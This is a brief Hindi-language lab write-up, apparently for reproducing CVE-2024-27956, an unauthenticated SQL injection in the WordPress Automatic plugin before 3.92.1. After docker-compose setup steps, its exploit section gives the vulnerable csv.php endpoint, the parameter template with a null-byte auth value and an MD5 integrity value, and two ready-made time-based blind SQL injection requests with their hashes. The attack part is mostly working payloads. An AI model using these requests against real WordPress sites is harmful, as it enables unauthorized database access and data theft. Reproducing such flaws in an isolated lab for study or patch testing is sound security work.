
CVE-2024-27956 WordPress Automatic < 3.92.1 - बिना प्रमाणीकरण के SQL इंजेक्शन
वर्डप्रेस बिल्ड करें: docker-compose -f stack.yml up
प्लगइन इंस्टॉल करें:
वर्डप्रेस डैशबोर्ड में, Plugins > Add New चुनें
Upload Plugin पर क्लिक करें



एक्सप्लॉइट
<HOST>/wp-content/plugins/wp-automatic/inc/csv.php
q={{query}}&auth=%00&integ={{md5query}}
q=SELECT+IF(1=1,sleep(5),sleep(0))&auth=%00&integ=93cf9aa11e746596d6f31765a7222c9f

q=SELECT+IF(1=2,sleep(5),sleep(0))&auth=%00&integ=4b1f4024af81df56c3b00679b9b52183
